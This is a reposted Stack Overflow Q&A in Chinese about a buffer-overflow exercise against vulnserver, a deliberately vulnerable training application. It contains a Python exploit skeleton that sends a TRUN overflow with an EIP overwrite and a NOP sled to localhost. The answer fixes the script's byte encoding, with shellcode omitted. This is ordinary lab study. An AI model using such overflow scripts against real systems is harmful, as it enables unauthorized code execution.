gpt4 book ai didi

python - Vulnserver - 缓冲区溢出 NOP 字符未正确传入

转载 作者:行者123 更新时间:2023-12-04 01:56:33 25 4
gpt4 key购买 nike

我目前正在对 vulnserver 进行缓冲区溢出测试应用程序。使用 A 的十六进制值溢出缓冲区似乎毫无问题地传递到程序中。 EIP 也被毫无问题地覆盖了。但是,当我开始 NOP sled 时,在每个 NOP 值之后都会传入一个 C2 十六进制值。不知道为什么会这样。我有十六进制转储来向您展示我的意思:

enter image description here

这是我用来创建溢出的 python 脚本:

import socket

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

s.connect(("127.0.0.1",9999))
buff = '\x41' * 2006
shellcode = ...
nop = '\x90' * 16

#shellcode not included in this test. Trying to find out why NOP sled isn't being passed correctly.
overflow = 'TRUN .' + buff + '\x05\x12\x50\x62' + nop
s.send(overflow.encode())

我想知道错误是在 python 编码/发送数据包时发生的,还是仅仅由于编写 vulnserver 的方式而发生的。

最佳答案

您的问题是由于您使用的是 Python 3。

.encode() 方法是您问题的根本原因。

试试这个:

import socket

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

s.connect(("127.0.0.1",9999))
buff = b'\x41' * 2006
shellcode = b'...'
nop = b'\x90' * 16

#shellcode not included in this test. Trying to find out why NOP sled isn't being passed correctly.
overflow = b'TRUN .' + buff + b'\x05\x12\x50\x62' + nop
s.send(overflow)

关于python - Vulnserver - 缓冲区溢出 NOP 字符未正确传入,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/35450173/

25 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com